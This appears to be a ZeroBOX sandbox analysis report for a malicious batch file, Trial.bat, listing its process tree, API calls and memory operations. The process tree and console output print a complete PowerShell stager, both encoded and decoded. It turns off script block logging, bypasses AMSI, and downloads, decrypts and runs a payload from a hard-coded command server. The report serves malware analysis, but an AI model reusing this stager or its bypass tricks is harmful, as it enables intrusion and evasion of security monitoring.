popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Trial.bat

Generic Malware Downloader Antivirus HTTP ScreenShot Create Service KeyLogger Internet API P2P Hide_URL DGA Http API FTP Socket Escalate priviledges DNS Code injection PWS Sniff Audio Steal credential AntiDebug AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 23, 2024, 10:54 a.m. Sept. 23, 2024, 10:56 a.m.
Size 5.2KB
Type ASCII text, with very long lines
MD5 17dc31326e9dae6a4544b1914a3dd176
SHA256 f8b0c3ae09019013c56399b9b85dac1f1ac58d95f4f01ec76e367e1345d2499f
CRC32 DDADC9FB
ssdeep 96:XxkBvY4NBZJs4yg59xvDAO9nG7KxJgAbff8ggH0UoiX47qdIWieb2SiKoE1:2p7ZDD5kO9GW7gAbGH0vuFi1SiKl1
Yara
  • Antivirus - Contains references to security software

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "MgXiZmVYlzEIurq" C:\Users\test22\AppData\Local\Temp\Trial.bat

    2556

    • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Trial.bat

      2628

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('C:\Users\test22\AppData\Local\Temp\Trial.bat')|iex"

        2716

        • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAcwBJAE8AbgBUAEEAQgBMAEUALgBQAFMAVgBlAHIAUwBpAG8ATgAuAE0AYQBqAE8AUgAgAC0ARwBlACAAMwApAHsAJABCADcARgA0AD0AWwBSAEUARgBdAC4AQQBzAFMARQBtAGIAbABZAC4ARwBlAFQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFUAdABpAGwAcwAnACkALgAiAEcAZQBUAEYAaQBlAGAAbABEACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbABpAGMAeQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAEYAKAAkAEIANwBGADQAKQB7ACQAYgAzADkAOQA9ACQAQgA3AEYANAAuAEcARQB0AFYAYQBsAHUARQAoACQATgB1AGwATAApADsASQBGACgAJABiADMAOQA5AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQAYgAzADkAOQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABCADMAOQA5AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAVgBhAGwAPQBbAEMAbwBsAEwARQBDAFQAaQBPAG4AUwAuAEcAZQBOAGUAUgBJAEMALgBEAEkAYwB0AEkAbwBOAGEAUgB5AFsAUwBUAFIASQBOAGcALABTAHkAUwB0AGUATQAuAE8AYgBqAEUAQwB0AF0AXQA6ADoAbgBlAHcAKAApADsAJAB2AGEATAAuAEEARABEACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnACwAMAApADsAJAB2AEEATAAuAEEARABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAGIAMwA5ADkAWwAnAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaABlAGwAbABcAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQA9ACQAdgBhAGwAfQBFAEwAcwBFAHsAWwBTAGMAcgBpAFAAVABCAEwATwBDAGsAXQAuACIARwBFAFQARgBpAGUAYABsAGQAIgAoACcAcwBpAGcAbgBhAHQAdQByAGUAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBsAFUARQAoACQAbgB1AEwAbAAsACgATgBFAHcALQBPAGIAagBlAEMAdAAgAEMATwBsAGwAZQBjAFQASQBvAG4AcwAuAEcAZQBOAGUAcgBpAEMALgBIAGEAcwBIAFMARQBUAFsAcwB0AFIASQBOAEcAXQApACkAfQAkAFIAZQBmAD0AWwBSAEUARgBdAC4AQQBzAFMARQBNAGIATABZAC4ARwBlAHQAVABZAFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAJwArACcAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAEUAdABGAEkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGACcAKwAnAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgB1AGwAbAAsACQAdABSAHUAZQApADsAfQA7AFsAUwBZAFMAVABFAE0ALgBOAGUAVAAuAFMARQByAHYASQBDAGUAUABvAEkATgB0AE0AYQBuAGEARwBFAFIAXQA6ADoARQBYAHAARQBDAHQAMQAwADAAQwBvAG4AdABpAG4AdQBFAD0AMAA7ACQARQBCAEQARAA9AE4ARQBXAC0ATwBiAGoAZQBjAFQAIABTAFkAcwB0AEUATQAuAE4AZQBUAC4AVwBFAEIAQwBMAEkAZQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQAZQBYAHQALgBFAE4AYwBPAEQAaQBOAGcAXQA6ADoAVQBOAGkAYwBPAGQARQAuAEcAZQBUAFMAVABSAGkAbgBnACgAWwBDAG8AbgB2AEUAcgB0AF0AOgA6AEYAUgBvAG0AQgBBAHMARQA2ADQAUwBUAHIAaQBuAEcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHgAQQBEAEEAQQBNAFEAQQA2AEEARABjAEEATgB3AEEAMwBBAEQAYwBBACcAKQApACkAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGUAQgBEAEQALgBIAEUAQQBkAEUAUgBTAC4AQQBEAEQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABFAEIARABkAC4AUAByAE8AeAB5AD0AWwBTAFkAUwB0AGUATQAuAE4ARQBUAC4AVwBlAEIAUgBFAFEAVQBlAHMAVABdADoAOgBEAEUARgBhAFUAbAB0AFcARQBCAFAAcgBvAHgAWQA7ACQAZQBiAEQARAAuAFAAUgBvAHgAWQAuAEMAUgBFAEQAZQBOAFQASQBBAEwAcwAgAD0AIABbAFMAeQBTAHQARQBtAC4ATgBFAHQALgBDAHIAZQBkAGUAbgBUAEkAQQBsAEMAQQBjAGgARQBdADoAOgBEAEUARgBBAFUAbAB0AE4ARQBUAHcAbwBSAEsAQwBSAEUARABFAE4AdABJAEEATABTADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAGUAYgBkAGQALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAWQBzAFQAZQBtAC4AVABlAHgAVAAuAEUATgBjAG8ARABJAE4ARwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAVABlAFMAKAAnAFMAQAA+AFoAfgBhAHAALABuAG8AZQAwAEoARABLAF0AbAAuACsAeQBGAD8AfQBMAE4APQBqADIAegB2AGIAVQAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAFgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAEUAYgBEAEQALgBIAEUAYQBEAEUAUgBzAC4AQQBEAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAGYAUABxAEYAbQBnAEMAdwB2AG8APQAvAFgAKwBGAHUAbQBYAHIANwBQAHgAMgBTAGoATwB1AHQAOABTAGoAZQBsAG8ANAA2ADQANAA9ACIAKQA7ACQAZABhAFQAQQA9ACQARQBCAGQARAAuAEQATwB3AE4ATABvAGEARABEAGEAdABhACgAJABTAGUAUgArACQAVAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAQQB0AEEAPQAkAEQAQQBUAEEAWwA0AC4ALgAkAEQAQQB0AGEALgBsAGUAbgBHAFQASABdADsALQBKAE8AaQBuAFsAQwBIAEEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==

          2836

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
193.117.208.101 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: NUL
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: The syntax of the command is incorrect.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: The batch file cannot be found.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "Unable to connect to th
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: e remote server"
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:1821
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + If($PSVErsIOnTABLE.PSVerSioN.MajOR -Ge 3){$B7F4=[REF].AsSEmblY.GeTTYpE('Syste
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: m.Management.Automation.Utils')."GeTFie`lD"('cachedGroupPolicySettings','N'+'on
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: Public,Static');IF($B7F4){$b399=$B7F4.GEtValuE($NulL);IF($b399['ScriptB'+'lockL
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: ogging']){$b399['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$B399
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$Val=[ColLECT
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: iOnS.GeNeRIC.DIctIoNaRy[STRINg,SySteM.ObjECt]]::new();$vaL.ADD('EnableScriptB'+
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: 'lockLogging',0);$vAL.ADd('EnableScriptBlockInvocationLogging',0);$b399['HKEY_L
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: OCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLoggi
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ng']=$val}ELsE{[ScriPTBLOCk]."GETFie`ld"('signatures','N'+'onPublic,Static').SE
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: TValUE($nuLl,(NEw-ObjeCt COllecTIons.GeNeriC.HasHSET[stRING]))}$Ref=[REF].AsSEM
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: bLY.GetTYPE('System.Management.Automation.Amsi'+'Utils');$Ref.GEtFIElD('amsiIni
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: tF'+'ailed','NonPublic,Static').SEtVAlUe($null,$tRue);};[SYSTEM.NeT.SErvICePoIN
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: tManaGER]::EXpECt100ContinuE=0;$EBDD=NEW-ObjecT SYstEM.NeT.WEBCLIeNT;$u='Mozill
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: a/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([TeXt.EN
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: cODiNg]::UNicOdE.GeTSTRing([ConvErt]::FRomBAsE64STrinG('aAB0AHQAcAA6AC8ALwAxADk
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: AMwAuADEAMQA3AC4AMgAwADgALgAxADAAMQA6ADcANwA3ADcA')));$t='/news.php';$eBDD.HEAd
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: ERS.ADD('User-Agent',$u);$EBDd.PrOxy=[SYSteM.NET.WeBREQUesT]::DEFaUltWEBProxY;$
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: ebDD.PRoxY.CREDeNTIALs = [SyStEm.NEt.CredenTIAlCAchE]::DEFAUltNETwoRKCREDENtIAL
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: S;$Script:Proxy = $ebdd.Proxy;$K=[SYsTem.TexT.ENcoDING]::ASCII.GetByTeS('S@>Z~a
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: p,noe0JDK]l.+yF?}LN=j2zvbU');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: K[$_%$K.CoUNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXor$S[($S[$I]+$S[$H])%256]}};$EbDD.HEaD
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: ERs.ADd("Cookie","fPqFmgCwvo=/X+FumXr7Px2SjOut8Sjelo4644=");$daTA=$EBdD.DOwNLoa
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: DData <<<< ($SeR+$T);$Iv=$Data[0..3];$dAtA=$DATA[4..$DAta.lenGTH];-JOin[CHAR[]]
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: (& $R $daTa ($IV+$K))|IEX
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: Cannot index into a null array.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: At line:1 char:1841
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: + If($PSVErsIOnTABLE.PSVerSioN.MajOR -Ge 3){$B7F4=[REF].AsSEmblY.GeTTYpE('Syste
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: m.Management.Automation.Utils')."GeTFie`lD"('cachedGroupPolicySettings','N'+'on
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: Public,Static');IF($B7F4){$b399=$B7F4.GEtValuE($NulL);IF($b399['ScriptB'+'lockL
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: ogging']){$b399['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$B399
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: ['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$Val=[ColLECT
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: iOnS.GeNeRIC.DIctIoNaRy[STRINg,SySteM.ObjECt]]::new();$vaL.ADD('EnableScriptB'+
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 'lockLogging',0);$vAL.ADd('EnableScriptBlockInvocationLogging',0);$b399['HKEY_L
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: OCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLoggi
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: ng']=$val}ELsE{[ScriPTBLOCk]."GETFie`ld"('signatures','N'+'onPublic,Static').SE
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: TValUE($nuLl,(NEw-ObjeCt COllecTIons.GeNeriC.HasHSET[stRING]))}$Ref=[REF].AsSEM
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: bLY.GetTYPE('System.Management.Automation.Amsi'+'Utils');$Ref.GEtFIElD('amsiIni
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: tF'+'ailed','NonPublic,Static').SEtVAlUe($null,$tRue);};[SYSTEM.NeT.SErvICePoIN
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: tManaGER]::EXpECt100ContinuE=0;$EBDD=NEW-ObjecT SYstEM.NeT.WEBCLIeNT;$u='Mozill
console_handle: 0x000000cb
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006910c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006911c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006911c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006911c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006911c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006911c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006911c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690c88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690c88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690c88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691548
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00690dc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00691a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003c9cf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003caab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003caab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003caab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ca9b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ca9b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ca9b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ca9b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ca9b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ca9b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 1638400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
